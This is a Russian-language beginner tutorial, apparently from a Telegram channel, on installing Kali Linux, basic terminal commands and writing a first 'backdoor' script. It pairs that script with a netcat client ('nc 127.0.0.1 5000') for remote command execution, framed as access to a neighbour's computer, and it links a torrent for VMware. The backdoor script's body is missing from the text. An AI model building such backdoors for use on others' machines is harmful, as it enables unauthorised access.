Установка Kali Linux

Установка Kali Linux

@the_dark_planet

Самая важные инструменты крекера — это его утилиты. Ну и, конечно же, мозги, чтобы эти утилиты применять.


Начнем с основного: на чем мы будем работать?

#Операционка

Никаких Windows/MacOS и прочего барахла! Теперь используем только Linux.

Linux - это обобщенное название семейства дистрибутивов, разработанных на одноименном ядре.

Дистрибутивы - Готовые ОС на базе ядра Linux, содержащие в себе широкий набор приложений для полноценной работы

Дистрибутивов много, но выбрать всё же что-то нужно. Из подходящих под наши цели я выделю:

= BlackArch Linux (основан на Arch Linux)

= Pentoo Linux (основан на Gentoo Linux)

= ParrotSecurity Linux (на Debian)

= Kali Linux (на Debian)

Но, так как Kali Linux, на данный момент, является самым популярным из них, будем работать на нём.


##Установка

Чтоб упростить себе жизнь, устанавливать будем на виртуалку:

  1. Установим VMware Workstation 14 Pro (вот торрент)
  2. Скачаем Kali Linux
  3. Выполним установку по этой инструкции
  4. Запуск (система загружается достаточно долго)
  5. Username: root
  6. Password: (тот, что вы указывали при установке, либо "toor")

Ты вошел в систему, что дальше?


##Терминал

Открой терминал (второй значок на панели слева).


Не стоит его бояться: отныне он твой лучший друг и чем раньше ты научишься с ним работать, тем проще будет потом.

Что важно, в Kali Linux работу в терминале ты по умолчанию начинаешь с правами администратора (root права), так что одна неверная команда может повлечь за собой большие последствия - будь внимателен!

Начнем с основных команд:

~# man команда

На данном этапе, будет самой часто используемой командой: выводит в терминал справку об интересующей команде.

~# ls

Выводит в терминал содержание текущей директории.

~# cd каталог_1/

Перемещение в каталог_1.

~# cd ..

Перемещение на один каталог назад.

В дальнейшем, рассмотрим другие, а пока используй эти команды, чтобы начать ориентироваться в своей системе.



#Первый скрипт

Теперь напишем первый скрипт (набор исполняемых команд).

Введи в терминале "nano backdoor.sh" (без кавычек), где

"nano" - запуск текстового редактора в консоли;

"backdoor.sh" - имя открытого файла (если файла не существует, он будет создан после сохранения)

Теперь в открывшемся текстовом редакторе введи текст следующего содержания:


Затем последовательно нажимай сочетание клавиш "Ctrl+X"(выйти из редактора), "Y"(сохранить), "Enter"(подтвердить).

После этого создай еще один скрипт (например, "nano mole.sh"), в окне редактора введи:

#!/bin/bash

nc 127.0.0.1 5000

Закрой, сохрани.

Перед нами лежат два скрипта, но запустить мы их пока не сможем. Чтоб сделать их исполняемыми файлами, добавим разрешение на исполнение командами "chmod +x backdoor.sh mole.sh" соответственно.

Теперь мы можем их использовать.

Для этого открой второй терминал (представь, что это компьютер твоего соседа) и запусти в нём наш бэкдор при помощи команды "./backdoor.sh" (если ты находишься в папке со скриптом). Теперь запусти "./mole.sh" в первом терминале.


Поздравляю, ты получил свой первый удаленный доступ (хотя удаленным это, пока что, можно назвать с натяжкой). Любая команда, введенная в первом окне терминала, будет исполняться во втором, но результат её выполнения будет транслироваться в первое.

В дальнейшем ты освоишь ряд намного более опасных уязвимостей и методы их применения, а мы будем рады тебе в этом помочь.